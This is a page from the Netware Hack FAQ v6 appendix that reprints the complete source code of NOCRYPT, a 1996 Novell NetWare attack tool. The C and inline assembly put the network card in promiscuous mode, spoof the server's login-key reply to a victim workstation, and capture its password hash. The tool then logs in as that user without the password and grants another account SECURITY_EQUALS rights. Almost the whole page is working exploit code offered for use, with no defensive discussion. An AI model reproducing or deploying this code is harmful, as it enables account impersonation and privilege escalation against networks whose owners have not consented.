HostedDB - Dedicated UNIX Servers

-->
Netware Hack FAQ v6


Appendix Section

A-03. Source code to NOCRYPT

Greg's comments are in the source code file, but see Appendix A-04 for more information.



/*This program was written and released on September 27, 1996 by Greg Miller*/

/*NOCRYPT.C

This program allows an attacker to masquerade as a user whithout knowing the
user's password.  For more information on using the program see NOCRYPT.DOC.
For more information on how the attack works, see ATTACK.DOC
*/

/*(C) 1996 by Greg Miller*/
/*Distribute freely*/

#include <stdio.h>
#include <string.h>

#define TRUE -1
#define FALSE 0
#define PACKET_TYPE 19
#define FUNCTION_CODE 50
#define SUBFUNC_CODE 53
#define KEY_OFFSET 54

typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;

BYTE username[20] = "GUEST";                            //user to gain rights
BYTE membername[20] = "GMILLER";                        //user rights to gain

BYTE server_network[4] = {0,0,0,15};                    //server INTERNAL net
BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05};  //closest router addr

BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe};             //0000 won't work
BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83};      //my address

BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //addr to spoof

BYTE my_seq_no = 1;
BYTE my_con_no;
BYTE login_key[8];

int DataRemaining = TRUE;
int x;

BYTE packet[2000];
BYTE SendPacket[2000];
BYTE to_server[100];

WORD handle;
int packet_received = FALSE;
int NotDone = TRUE;

int c;
WORD pktlen;
WORD Sendpktlen;
WORD to_server_len;

void Initialize(){
}

static void far PacketReceived(){
        /*This function is called by the packet driver when a packet is
          received.  If AX=0 when the function is called, the packet driver
          is asking for a buffer to put the packet in.  If AX=1 then the
          packet has been copied into the buffer.
        */

        _asm{
                pop di          //Borland C 3.1 pushes DI for some reason.
                                //Remove this line if your compiler doesn't.


                cmp ax,1        //ax=0 for get buffer or 1 when done
                jz copy_done

                mov ax,seg packet
                mov ES,ax
                lea DI,packet
                mov cx,2000     //buffer length
                retf
        }

copy_done:
        packet_received = TRUE;
        pktlen=_CX;

        _asm{retf}
end:
}

void RegisterWithPKTDRV(){
        /*This function registers the "protocol stack" with the packet
          driver.  We give it the address of the function to call when
          a packet is received in ES:DI, the interface class in AL, and
          the interface type in BX.  DS:SI should point to the type of
          packets to receive, with the length of the type in CX, however,
          we'll just receive any type of packet so we leave DS:SI alone
          and make CX=0.
          We get a handle back from the INT 60h call in AX, we'll store
          it for later use.
        */

        _asm {
                pusha

                mov bx,0ffffh  //Wild card for all interfaces
                mov dl,0
                mov cx,0    //receive any type of packet
                mov ax, seg PacketReceived
                mov es,ax
                lea di, PacketReceived
                mov ah,02
                mov al,01   //class type for 3com 509
                int 60h
                jc err

                mov handle,ax

                popa
        }

        printf("Registered with packet driver\r\n");
        return;
err:
        printf("Error registering stack: %d\r\n",_DH);
        _asm{popa}

}

void RelinquishProtocolStack(){
        /*  Relinqush control of the interface */

        /*Release Type*/
        _asm{   pusha

                mov ah,3
                mov bx,handle
                int 60h
                jc err
            }


        /*Terminate driver for handle*/
        _asm{
                mov ah,5
                mov bx,handle
                int 60h
                jc err

                popa
        }

        printf("Stack Relinqushed\r\n");
        return;
err:
        printf("Error releasing Stack: %d",_DH);
}

void SetReceiveMode(WORD mode){
        /*This function puts the board in the specified mode by putting the
          receive mode in CX and the handle in BX.  Mode 6 is promiscuous
          and mode 2 is normal.
        */
        _asm{
                pusha

                mov ah,14h
                mov bx,handle
                mov cx,mode
                int 60h
                jc err

                popa
        }

        printf("Mode set to %d\r\n",mode);
        return;
err:
        printf("Error entering promiscuous mode: %d\r\n",_DH);
        _asm{popa}
}

void printhex(BYTE d){
 BYTE temp;
 _asm{
  mov al,d
  shr al,1
  shr al,1
  shr al,1
  shr al,1
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c",temp);
 _asm{
  mov al,d
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c ",temp);
}

void SendPack(){

        _asm{   pusha

                mov ax,seg SendPacket
                mov ds,ax
                lea si,SendPacket
                mov cx,Sendpktlen
                mov ah,04
                int 60h

                jc err

                popa
        }
//      printf("Sending:\r\n");
//      for(c=0;c<pktlen;c++){printhex(packet[c]);}
//      printf("\r\n");
        return;
err:
        printf("Error sending packet: %d\r\n",_DH);
        _asm{popa}
}

void SendEncryptionKeyReply(){
        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

        //Put 802.3 length here.
        SendPacket[12]=00;
        SendPacket[13]=0x2e;

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[16]=0;SendPacket[17]=0x2e;    //IPX Length
        SendPacket[18]=1;                        //Hop Count
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status

        memcpy(SendPacket+52,login_key,8);  //Key

        Sendpktlen = 60;
//      printf("Spoofing Encryption Key Reply\r\n");
        SendPack();
}

void WaitForPacket(){
 while(!packet_received){
  }

// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");

 packet_received=FALSE;
}

void WaitForStationLoginRequest(){

        /*Discard first GetLoginKey()*/
        while(NotDone){
                WaitForPacket();
                  if((memcmp(packet+6,SpoofStation,6)==0) &&
                    (packet[PACKET_TYPE]==17) &&
                    (packet[FUNCTION_CODE]==23) &&
                    (packet[SUBFUNC_CODE]==23)){
                     NotDone = FALSE;
                  }
        }

        WaitForPacket();

        /*Wait for login key request and spoof it*/
        NotDone=TRUE;
        while(NotDone){
                WaitForPacket();
                  if((memcmp(packet+6,SpoofStation,6)==0) &&
                    (packet[PACKET_TYPE]==17) &&
                    (packet[FUNCTION_CODE]==23) &&
                    (packet[SUBFUNC_CODE]==23)){
                     NotDone = FALSE;
                  }
        }
        SendEncryptionKeyReply();

        /*Wait for login request and pull hash out*/
        NotDone = TRUE;
        while(NotDone){
                WaitForPacket();
                if((memcmp(packet+6,SpoofStation,6)==0) &&
                  (packet[PACKET_TYPE]==17) &&
                  (packet[FUNCTION_CODE]==23) &&
                  (packet[SUBFUNC_CODE]==24)){
                  NotDone = FALSE;
                }
        }
        memcpy(login_key,packet+KEY_OFFSET,8);
        printf("Hash Received\r\n");
        for(c=0;c<8;c++){printhex(login_key[c]);}
        printf("\r\n");
}
void SendToServer(){
        _asm{   pusha

                mov ax,seg to_server
                mov ds,ax
                lea si,to_server
                mov cx,to_server_len
                mov ah,04
                int 60h

                jc err

                popa
        }
//      printf("Sending:\r\n");
//      for(c=0;c<to_server_len;c++){printhex(to_server[c]);}
//      printf("\r\n");
        return;
err:
        printf("Error sending packet: %d\r\n",_DH);
        _asm{popa}
        printf("Sending packet\r\n");
}

void InitializePacket(){

        memcpy(to_server,server_addr,6);//803.3 dest
        memcpy(to_server+6,my_addr,6);  //802.3 source
        //802.3 length
        to_server[14] = 0xff; to_server[15]= 0xff;
        //ipx length
        to_server[18] = 0;              //hop count
        to_server[19] = 17;             //packet type
        memcpy(to_server+20,server_network,4);
        to_server[24] = 0; to_server[25] = 0;
        to_server[26] = 0; to_server[27] = 0;
        to_server[28] = 0; to_server[29] = 1;
        to_server[30] = 0x04; to_server[31] = 0x51;
        memcpy(to_server+32,my_network,4);
        memcpy(to_server+36,my_addr,6);
        to_server[42]=0x40; to_server[43]=0x05;

}

void AttachToServer(){
        to_server[44] = 0x11; to_server[45]= 0x11;      //request type
        to_server[46] = 0;                              //sequence no.
        to_server[47] = 0xff;                           //connection no.

        to_server[12]=0; to_server[13]=38;              //802.3 length
        to_server[16]=0; to_server[17]=37;              //ipx length

        to_server_len=48;
        SendToServer();
}

int GetConNumber(){
        while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==0))){}
        if(packet[51]==0){
                my_con_no=packet[47];
                printf("Connected on con %d\r\n",my_con_no);
        } else {
                printf("Error connecting %d\r\n",packet[51]);
        }
        return -1;
}

void RequestLoginKey(){
        to_server[12]=0; to_server[13]=40;              //802.3 len
        to_server[16]=0; to_server[17]=40;              //IPX len

        to_server[44]=0x22; to_server[45]=0x22;         //request type;
        to_server[46]=my_seq_no;                        //sequence no.
        to_server[47]=my_con_no;                        //connection no.
        to_server[48]=1;                                //tast no.
        to_server[49]=0;                                //conn no high
        to_server[50]=23;                               //func code
        to_server[51]=0; to_server[52]=1;               //subfunc len
        to_server[53]=23;                               //subfunc code

        to_server_len=54;
        SendToServer();
}

int GetLoginKey(){
   int x;
        while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
        if(packet[50]==0){
                memcpy(login_key,packet+52,8);
                printf("Retreived login key");
                for(x=0;x<8;x++){printf(" %d",login_key[x]);}
                printf("\r\n");
        } else {
                printf("Error getting login key %d\r\n",packet[50]);
        }
        my_seq_no++;
        return -1;
}

/*-----------------------------
void WaitForLoginRequest(){
        while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
              (packet[45]==0x22) && (packet[50]==23) && (packet[53]==23))){}
}
-------------------------------
void SpoofKeyReply(){
        memcpy(send_packet,packet+6,6); memcpy(send_packet+6,packet,6);
        send_packet[12]=0; send_packet[13]=46;
        send_packet[14]=0xFF; send_packet[15]=0xFF;
        send_packet[16]=0; send_packet[17]=46;
        send_packet[18]=0;
        send_packet[19]=17;
        memcpy(send_packet+20,packet+31,12);
        memcpy(send_packet+32,packet+19,12);
        send_packet[44]=0x33; send_packet[45]=0x33;
        memcpy(send_packet+46,packet+46,4);
        send_packet[50]=0;
        send_packet[51]=0;
        memcpy(send_packet+52,login_key,8);

        SendPacket();
}
-------------------------------
void WaitForKeyedLoginRequest(){
   int x;
        while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
              (packet[45]==0x22) && (packet[50]==23) && (packet[53]==24))){}
        memcpy(login_key,packet+54,8);
        printf("Got spoofed login key reply:");
        for(x=0;x<7,x++) printf(" %d",login_key[x]);
        printf("\r\n");
}
-------------------------------*/

void RequestKeyedLogin(){
   BYTE objlen;
        objlen=strlen(membername);

        to_server[12]=0; to_server[13]=51+objlen;       //802.3 len
        to_server[16]=0; to_server[17]=51+objlen;       //ipx len

        to_server[44]=0x22; to_server[45]=0x22;         //request type;
        to_server[46]=my_seq_no;                        //sequence no.
        to_server[47]=my_con_no;                        //connection no.
        to_server[48]=1;                                //tast no.
        to_server[49]=0;                                //conn no high
        to_server[50]=23;                               //func code
        to_server[51]=0; to_server[52]=12+objlen;       //subfunc len
        to_server[53]=24;                               //subfunc code
        memcpy(to_server+54,login_key,8);               //login key
        to_server[62]=0; to_server[63]=1;               //object type
        to_server[64]=objlen;                           //object length
        memcpy(to_server+65,membername,objlen);         //object name

        to_server_len=65+objlen;
        SendToServer();
}
int GetKeyedLoginResults(){
        while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
        if(packet[50]==0){
                memcpy(login_key,packet+52,8);
                printf("Logged in\r\n");
        } else {
                printf("Error logging in %d\r\n",packet[50]);
        }
        my_seq_no++;
        return -1;
}

void GrantRights(){
   BYTE objlen;
   BYTE memlen;

        objlen = strlen(username);
        memlen = strlen(membername);

        to_server[16]=0; to_server[17]=62+objlen+memlen;//IPX_len
        to_server[12]=0; to_server[13]=to_server[17]; //802.3 len

        to_server[44]=0x22;to_server[45]=0x22;          //Request type
        to_server[46]=my_seq_no;                        //Sequence No.
        to_server[47]=my_con_no;                        //connection no.
        to_server[48]=1;                                //Task no.
        to_server[49]=0;                                //conn no. high
        to_server[50]=23;                               //func code
        to_server[51]=0; to_server[52]=23+objlen+memlen;//subfun len
        to_server[53]=65;                               //subfun code
        to_server[54]=00; to_server[55]=1;              //Object type
        to_server[56]=objlen;                           //object len
        memcpy(to_server+57,username,objlen);           //object name
        to_server[57+objlen]=15;                        //property len
        memcpy(to_server+58+objlen,"SECURITY_EQUALS",15);//propertly name
        to_server[73+objlen]=0; to_server[74+objlen]=1; //member type
        to_server[75+objlen]=memlen;                    //member length
        memcpy(to_server+76+objlen,membername,memlen);  //member name

        printf("sublen %d\r\n",to_server[51]);

        to_server_len=80+objlen+memlen;

        for(x=0;x<100;x++) SendToServer();
}

void main(){

        Initialize();
        RegisterWithPKTDRV();

        InitializePacket();

        AttachToServer();
        GetConNumber();

        RequestLoginKey();
        GetLoginKey();

        SetReceiveMode(6);  //Promiscuous mode

        WaitForStationLoginRequest();

        SetReceiveMode(2);  //Normal mode

        RequestKeyedLogin();
        GetKeyedLoginResults();

        GrantRights();

        RelinquishProtocolStack();

}

[ Return to TOC | Return to FAQ Page ]